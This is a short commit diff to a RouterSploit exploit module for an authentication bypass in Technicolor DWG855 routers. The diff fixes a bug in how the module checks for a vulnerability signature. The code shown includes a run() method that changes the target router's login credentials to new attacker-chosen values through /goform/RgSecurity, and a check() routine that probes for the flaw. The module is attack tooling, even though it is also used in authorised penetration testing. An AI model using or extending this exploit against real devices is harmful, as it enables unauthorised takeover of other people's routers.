Update dwg855_authbypass.py

routersploit/modules/exploits/technicolor/dwg855_authbypass.py

@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
 
     # The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
     vulnresp = binascii.unhexlify('114475636b7900')  # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
-    
+
     def run(self):
         print_status("Changing " + self.target + " credentials to " + self.nuser + ":" + self.npass)
         url = sanitize_url("{}:{}/goform/RgSecurity".format(self.target, self.port))
@@ -48,7 +48,7 @@ class Exploit(exploits.Exploit):
 
         if response is None:
             print_error("Target didn't answer request.")
-        elif vulnresp in response.text.encode('utf-8'):
+        elif self.vulnresp in response.text.encode('utf-8'):
             print_success("Credentials changed!")
         elif response.status_code == 401:
             print_error("Target answered, denied access.")
@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
 
         if response is None:
             return False  # target is not vulnerable
-        elif vulnresp in response.text.encode('utf-8'):
+        elif self.vulnresp in response.text.encode('utf-8'):
             return True  # device is vulnerable
         elif response.status_code == 401:
             return False  # target is not vulnerable